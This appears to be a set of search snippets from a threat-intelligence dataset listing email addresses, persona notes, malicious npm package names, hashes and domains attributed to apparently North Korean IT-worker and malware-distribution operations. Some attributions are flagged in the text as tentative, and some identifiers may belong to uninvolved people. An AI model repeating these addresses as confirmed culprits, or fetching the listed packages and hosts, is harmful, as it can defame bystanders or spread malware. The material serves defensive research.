sonjerry909@gmail.com spea…","…mileangel0327@gmail.com smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com spee…","…Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com…","…grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com supercrazybug.team@gmail.com maryanaaaa.hrteam@gmail.com topdev0921@gmail.com natalie.dev.hr@gmail.com Malicious Bitbucket…","…smimynah@gmail.com snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.co…","…in Review soft.business1024@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1020@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business0987@gmail.com email malware N/A…","…in Review soft.business1103@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1024@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1020@outlook.com email malware…","…Review caryphillips.business727@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1103@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1024@outlook.com email malware…","…in Review reddixyxzh551438@hotmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1112@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review richardcook.business93@gmail.com email…","…snow.monkey1120@gmail.com snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.c…","The post says the operator's associates signed a guestbook on his GitHub profile and that the entries link to their profiles. The three names are transcribed by hand from the attached screenshot of that guestbook, where each is rendered as a link beside a GitHub-style identicon. The researcher characterises them as associates of the Lovely Developer operator but does not attribute any of them to a named person, so they anchor no persona here. The address softangel0090@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…in Review soft.business1020@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business0987@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review alphabrownsapon70555@hotmail.com email…","…om snow1022127@gmail.com snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail…","…분석 과정에서 확인된 공격자의 이메일 주소는 다음과 같다. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com ASEC에서는 자사 블로그를 통해 악성 바로 가기 파일에 대해 꾸준히 공유해 온 만큼 해당 악성코드의 유포가 빈번하게 확인되고 있다.…","…actor identified during the analysis process are as follows. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com Through its blog, ASEC has been consistently sharing information about the distribution of malicious shortcut file due to the frequent…","…이때 사용되는 Token 값의 Userinfo 값에 특정 이메일 주소가 사용됐습니다. \"email\": \"softpower21cs@gmail.com\", \"currency\": \"USD\", \"language\": \"en\", \"registered\": \"Tue, 09 May 2023 08:26:46 +0000\", [표 5] RoKRAT pCloud 등록자 정보 ○…","…used by the threat actor. Gmail Addresses tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ Username searches based on the Yandex email addresses returned LinkedIn profiles with matching names.…","…식별됐던 대표적인 이메일 계정은 다음과 같습니다. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 'panic.dat' 파일은 Shellcode 루틴을 통해 암호화된 RoKRAT 모듈이 실행됩니다. [그림 4-2] Shellcode 디코딩 화면 ○ 주 스레드 실행 중에 RoKRAT…","…통해 위협 행위자가 사용한 5개의 구글 지메일 계정이 공개된 바 있습니다. 지메일(Gmail) 주소 tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 얀덱스 이메일에 사용된 아이디를 검색하면, 동일 이름의 링크드인 이용자가 일부 조회됩니다.…","…skylinehousesales62474@gmail.com smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com…","…smartchoicehousing24861@gmail.com smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com…","…om snowrobert0512@gmail.com snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.c…","…om snowrobert636@gmail.com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.c…","…developer accounts Year in Review simpsonkeith686@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review sonniehutley5@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review tagi238761@gmail.com email malware N/A N/A DPRK malware developer…","…shelbysturm@hr.mailtrixauvex.ink Email address Attacker-controlled email address May 2026 sophiareed@hr.contacttrixauvex.ink Email address Attacker-controlled email address May 2026 sophiareed@hr.onoplanoai.ink Email…","…sophiareed@hr.contacttrixauvex.ink Email address Attacker-controlled email address May 2026 sophiareed@hr.onoplanoai.ink Email address Attacker-controlled email address May 2026 taylorzhang@hr.pulsynk.org] Email…","…40 hours/week - 108 Ju Kwang Song - Jin Tian - United States $50/hour, 40 hours/week - Hwang Jong Hyok sorza.jimmy05@gmail.com jimmy Colombia United States $40/hour, 40 hours/week 1-2 years scorradini640@gmail.com sebastian Argentina United…","…nikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fu…","…jasonharry198852 millos Email Addresses # h96452582@gmail.com devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com…","…larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com -…","…billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com - topstack2021a@gmail.com - 0xquantech - t.me/MaoDan007 (ID: 5089966453) • ([Messages](./user-5089966453-@MaoDan007-Sol…","…go416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com…","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address spearbig1021@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The researcher gives no name, and the address does not read as one, so the page is filed under the address’s own local part rather than under a name invented for it.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 22 commits signed spearbig1021@gmail.com, an address browsercookies publishes for this persona, to the login SharpSpear, which no longer resolves.","….com snowscape226@gmail.com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.roya…","…https://web3.career/@marcin #### newstable / Jaycee Tran / Sasuke Uchiha - Jaycee Tran - Sasuke Uchiha - jayceetran.cool@gmail.com - special.galaxy26@gmail.com - potter0525james@gmail.com - zoelasa1111@gmail.com - it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com -…","…Chaiwongrote newstable (Jaycee Tran/Sasuke Uchiha): --------------------------------------------- Emails: jayceetran.cool@gmail.com special.galaxy26@gmail.com potter0525james@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github…","….com sofihuk3@gmail.com softangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.rog…","…oftangel0080@gmail.com softmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardhea…","…(2.3.2) 2026-09-05 petervanderpool <vp0642537@gmail.com> 2026-09-05 array-scala (1.2.5) 2026-09-05 spiderman9030 <spiderman9030@proton.me> 643d6918d86fe66502ba64a24192316c217682566a73f3b47c384b5beff6c24f 2026-09-05 array-scala (1.2.4) 2026-09-05 spiderman9030…","…ftmax0112@gmail.com solomiiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@c…","…laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com -…","…{\"id\":\"3240928faf9bc3ab\",\"type\":\"text\",\"text\":\"springers230@gmail.com\",\"x\":5495,\"y\":-620,\"width\":250,\"height\":60,\"color\":\"4\"},…","…smartcityhomes87496@gmail.com smartkeyhomes00728@gmail.com solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com sunnyvaleproperty44162@gmail.com…","…miiahuliak@gmail.com sonjerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com…","…Nelson Murua / Alberto Mira / Jackson Bill - Munchables (2024) - NelsonMurua913 - albertomira1114 - super1114dev - sr.muruanelson@gmail.com - albertomira1114@gmail.com - super1114dev@gmail.com - github.com/NelsonMurua913 •…","…![](./munchables-paul-martin.png) #### Paul Song / grudev325 - Pixelcraft (2022), Munchables (2024) - grudev325 - sr.paul.song@gmail.com - seniordev1225@gmail.com - t.me/grudev325 - seniordev - remoteok.com/@seniordev - linkedin.com/in/paul-song-225505224/ -…","…njerry909@gmail.com spearbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutes…","…ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent -…","…vw418@gmail.com toptalent48@gmail.com ichiro@0xlancerlab.com hanssuperdev1026@gmail.com hansjkiller1026@outlook.com tomasjakson44@gmail.com ssch26802@gmail.com williamh8930@gmail.com Github: thomson0313 fullstackdev8681 louistalent galaxy-foundation galaxydigital TopDeveloper0809 IlliaButenko john…","…earbig1021@gmail.com speedoandy1004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gm…","…004@gmail.com spencerbob2001@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me…","…![](./1923552508875767829-2.png) #### William Loy - Jiro Yamamoto - Jiro Ya - DreamHigh - Oleksandr - Oleinik - DreamHigh0806 - ssguardheaker@gmail.com - github.com/DreamHigh0806 • [Archive](https://web.archive.org/web/20250827061107/https://github.com/DreamHigh0806) -…","…@gmail.com spoemklpo23er@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com s…","…@gmail.com sprysoul0908@gmail.com srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenko…","…srwj.strong@gmail.com sse.calebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050…","…email insider N/A N/A Synthetic persona email 2 leonzielinski.pol@outlook.com email insider N/A N/A Synthetic persona email 2 stanislav.timko@outlook.com email insider N/A N/A Synthetic persona email 2 oleg.kaplanski@outlook.com email insider N/A N/A Synthetic persona email 2…","…ebmartin.royal@gmail.com sse.james.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.…","…ianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@g…","…es.roger76@gmail.com ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gma…","…Rainbows in Abuja (Nigeria - Kim Yong Jin) Emails: --------------------------------- darkb761216@gmail.com dragonrhm0817@gmail.com star710928@gmail.com yz.demix@gmail.com marketing.rep@universalinsuranceplc.com shojokur@gmail.com Personas: --------------------------------- Penguin Ui hong…","…Year in Review bloxdev1999@outlook.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review star712418@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review jackson.murray.tf7@gmail.com email malware N/A…","…willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com jaksonas11@outlook.com hades19910712@outlook.com Command and…","…solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com sunnyvaleproperty44162@gmail.com…","…ssguardheaker@gmail.com st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@g…","…m st8hpufc@crazydev524.anonaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller…","…Identifiers # npm Aliases and Email Addresses: taras_lakhai — kevintracy516@gmail.com mvitalii — mvitalii206@gmail.com wishorn — starlancer555@gmail.com crouch626 — crouchtomy@gmail.com GitHub Accounts: lukobogdan47 austin-a3 Bitbucket Accounts: Ezra Walmsley Raymundo…","…gdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@gmail.com ubiuquitosutrusty@gmail.com web.fan.0509@gmail.com GitHub Indicators…","…2 btrs.corp@gmail.com email insider N/A N/A DPRK developer email 2 byolate@gmail.com email insider N/A N/A DPRK developer email 2 starneit105@gmail.com email insider N/A N/A DPRK developer email 2 chrissamuel729@gmail.com email insider N/A N/A DPRK developer email 2…","…in Review roman.ulanski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review stefan.moleski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review taraslysenko@mail.io email malware…","…130 Annex 13 : Payment Account Selectors Associated with SANS FAB 326 Payment Account Emails aleecn@163.com stefaniezh7@gmail.com yisselmanrique@yahoo.com nmling_624@icloud.com 179546932@qq.com gfraticelli1@gmail.com 326 MSMT Participating State…","…) andrew.dea.walker00 (andrew.dea.walker00@gmail.com) 2026-02-25 22:13:14 prism-lint v7.4.2 ( download ) stefan.matic.topdev00 (stefan.matic.topdev00@gmail.com) 2026-02-25 22:07:50 fastify-lint v5.8.0 ( download ) andrew.dn.walker00 (andrew.dn.walker00@gmail.com) 2026-02-25 22:03:16 typoriem…","…csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com…","…2026-08-25 tailwind-scrollbar-hider (5.0.2) 2026-08-25 stellahudson <stellahudson@atomicmail.io> 91db5e87fb793b47e2d041a3aa3b3649557823e19cffb05f8e7c81958a297f2f 2026-08-18 plugin-react-vite (2.1.3) 2026-08-18…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Post eleven presents this account as a probable member rather than a confirmed one: the only other contributor to Dexify-Finance alongside icetrust0212, in the primary account's following list, created January 2022 with the same address-naming pattern. The researcher says in terms that the confirmation is weaker than for the core group, and the record carries that caveat.","…onaddy.com stalin.marvyn@minutestep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gma…","…azkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175…","…seo.shigoto.001@gmail.com - seo.sigoto@gmail.com #### Seo Kiwon - sunshineseo0614@gmail.com #### Steven Chen - stevechendragon@gmail.com - stevechendragon@outlook.com #### Ivan Dimov - ivan.dimov.work@gmail.com - ivandimov921016@outlook.com #### Yamamoto Zirou -…","…eloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshinese…","…seo.sigoto@gmail.com #### Seo Kiwon - sunshineseo0614@gmail.com #### Steven Chen - stevechendragon@gmail.com - stevechendragon@outlook.com #### Ivan Dimov - ivan.dimov.work@gmail.com - ivandimov921016@outlook.com #### Yamamoto Zirou - yamamotoziro.0113@gmail.com -…","…igoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatar…","…Telegram 2: https://t.me/dodger0213 * Email 1: stevenpiao0822@gmail.com * Email 2: mitsurukudo213@gmail.com * Email 3: steven0822.dev@gmail.com * Twitter: https://x.com/steven228312 * LinkedIn: https://www.linkedin.com/in/steven-leal-183252338/ * Instagram:…","…eam1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev1218917@gmail.com stevenbakarich607@gmail.com larryjam.henry.iv@gmail.com FURTHER READING Regarding this, you can read the following articles to get a 360 view on the incident.…","…r_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@g…","…Bank + Community Federal Savings Bank - webelf101 - stevenjung - steven.jung86000 - github.com/webelf101 - t.me/stevenjung - steven.jung86000@gmail.com - +1 845 809 1168 - 0x6513cb2f5E59c768a28958FBBDa6e06B9B29B8Eb - 0x770819c83FE074e51c2c7030dc6fcCFFc8943699 -…","…* Bio states, \"Technical Co-founder of TAOI\" * Telegram 1: https://t.me/stevendev0822 * Telegram 2: https://t.me/dodger0213 * Email 1: stevenpiao0822@gmail.com * Email 2: mitsurukudo213@gmail.com * Email 3: steven0822.dev@gmail.com * Twitter: https://x.com/steven228312 * LinkedIn:…","…omdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmai…","…testep.com stanislavknyiazkin606@gmail.com star_ai_12@proton.me starecomdev@gmail.com starking0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@…","…Annex 18 : Payoneer Accounts Used by Argentinian Facilitator 331 Email mitliza1@gmail.com julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com…","…email insider N/A N/A Synthetic persona email 2 jokubasbieliauskas1@gmail.com email insider N/A N/A Synthetic persona email 2 stoilesideropoulos001@outlook.com email insider N/A N/A Synthetic persona email 2 damjandobrudzhanski@gmail.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 gavrilvasilevski001@outlook.com email insider N/A N/A Synthetic persona email 2 stojannastevski001@outlook.com email insider N/A N/A Synthetic persona email 2 emirapolloni@gmail.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Threat actor persona email 4 lorenzo.vidal@mail.ru email insider N/A N/A Threat actor persona email 4 stolic5star@gmail.com email insider N/A N/A Threat actor persona email 4 nkvasic5star@gmail.com email insider N/A N/A Threat actor persona email 4…","…in Review fraserhutchison1@hotmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review stovbanoleksandr14@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review ramirezhector9299@gmail.com email malware N/A…","…reply9998@gmail.com richard.stewart.1202@gmail.com richard.stewart.1202@outlook.com sniper_bruce@outlook.com stp.walsh33@gmail.com techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com…","…7e6fb265ff2dc482d050c347751d71b672b187d95ee2d6d567e73ca78d4fedac 2026-09-15 process-tailwind (1.1.99) 2026-09-15 tailwind_ts <strategy.808@atomicmail.io> api.npoint.io https://api.npoint.io/24c25d5f5fcbb0992a4f 21bfaa51988b8dc7220f58d33e570d50ce43bc6103f872fda68db1eafe7729c6…","…0408@outlook.com stepanenkoserhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com…","…drgru854@gmail.com jack.murray.tf7@gmail.com jackhill2765@gmail.com reichenausteve@gmail.com magalhaesbruno236@gmail.com stromdev712418@gmail.com trungtrinh0818@gmail.com Markdown Repositories hosting malicious code https[ :// ]gitlab.com/technicalmanager-group/real-esate…","…Email Associated: - strong <strong.business.info@gmail.com> Domains: - vscode-setup.vercel.app File Hashes: 54a5c5cb16bdd482bd4147200557d3a94e413f9e9aebbf4818e76f16331bc6dc ./beavertail ##…","…erhii94@gmail.com steve.s050796@gmail.com steve264225@gmail.com stevenjobs207@gmail.com stevenwang615@gmail.com stresscontroller9@gmail.com strongdev1218@gmail.com sun.flight.shine@gmail.com sunlight2175@gmail.com sunnie.gpsh@gmail.com sunny95417@gmail.com sunnykan314@gmail.com sunshine950101@gmail.com…","…bighero0122@gmail.com: - danylo.lee316@gmail.com - keithnelson0426@gmail.com - legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev - takao.kamio@hyma.io - ucas0holm@gmail.com - 0xbde74c526ba2523b729b2f2a20676e58e189d745 -…","…insider N/A N/A Threat actor-controlled email 1 silverbead0815@outlook.com email insider N/A N/A Threat actor-controlled email 1 su0220@outlook.com email insider N/A N/A Threat actor-controlled email 1 superth55@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…solidinvestments05572@gmail.com solidpropertyadvisor33345@gmail.com springtownhomes83379@gmail.com stard8447@gmail.com suburbanhomeconnect16179@gmail.com summitpropertyagent07717@gmail.com sunnyvaleproperty44162@gmail.com sunnyviewhomes49110@gmail.com…","…smartinezquitian20@gmail.com smarttmpacc@hotmail.com soft.business0987@gmail.com stromdev712418@gmail.com suhkuv.competition.tel@gmail.com tetianabanakh34@gmail.com terralindenwhytk82974@outlook.com timothygaffney08@gmail.com top1152025@outlook.com…","…3.0.4 2025-07-17 16:58:01 goldenrhyno goldenrhynodev@gmail.com vite-postcss-kit 3.0.5 2025-07-21 11:27:40 suhkuv.competition.tel suhkuv.competition.tel@gmail.com vite-mobcss-log 